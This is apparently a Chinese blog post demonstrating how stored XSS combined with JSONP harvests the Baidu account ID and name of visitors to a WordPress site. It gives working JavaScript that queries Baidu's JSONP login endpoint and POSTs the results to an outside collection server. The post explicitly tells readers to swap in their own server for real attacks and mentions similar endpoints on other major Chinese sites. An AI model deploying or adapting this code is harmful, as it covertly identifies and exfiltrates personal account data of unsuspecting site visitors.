1. 程式人生 > >XSS結合JSONP獲取網站訪客社交賬號信息

XSS結合JSONP獲取網站訪客社交賬號信息

本地 color get 文件 存儲型xss 通過 object 用戶 是否

  我在本地環境搭建了一個WordPress網站,並在該網站中植入JavaScript文件。如果訪客在瀏覽網站時登錄了百度賬號,該js文件能夠利用JSONP獲取網站訪客的百度賬號信息。

具體情況如下:

1、首先修改WordPress的footer.php文件,引入2個外部JavaScript文件。第一個是jQuery庫,第二個是jsonp代碼。在實際滲透中,如果該網站存在存儲型XSS漏洞,我們就可以將xss_jsonp.js文件植入進去。

技術分享圖片

2、xss_jsonp.js文件內容如下,具體功能是通過JSONP獲取百度賬號信息,並上傳到服務器上。為了做演示,這裏我把獲取到的信息上傳到www.sogou.com,在實際滲透中,你可以把信息上傳到自己的服務器上。

 1 function jsonp_baidu() {
 2     window._baidu_1 = function(object) {
 3     if(!object.id) {
 4         return;
 5     }
 6     var data = {};
 7     data.id = object.id;
 8     data.name = object.name;
 9     $.post(saveUrl + ‘?act=baidu‘, data);
10     };
11     $.ajax({
12         url: "https://baike.baidu.com/api/login/",
13 type: "GET", 14 dataType: "jsonp", 15 jsonp: ‘callback‘, 16 jsonpCallback: "_baidu_1", 17 }); 18 } 19 var saveUrl = ‘https://www.sogou.com/xss_jsonp.php‘; 20 jsonp_baidu();

3、訪問網站並觀察剛才植入的js代碼是否執行。

技術分享圖片

訪問百度的JSONP接口,服務器返回登錄賬號的相關信息。

技術分享圖片

獲取到百度賬號信息後,上傳到www.sogou.com服務器。

技術分享圖片

  目前,我已經找到了百度、淘寶、京東、騰訊、新浪、愛奇藝等多個國內流行網站的JSONP接口,從這些接口可以獲取用戶賬號信息。

XSS結合JSONP獲取網站訪客社交賬號信息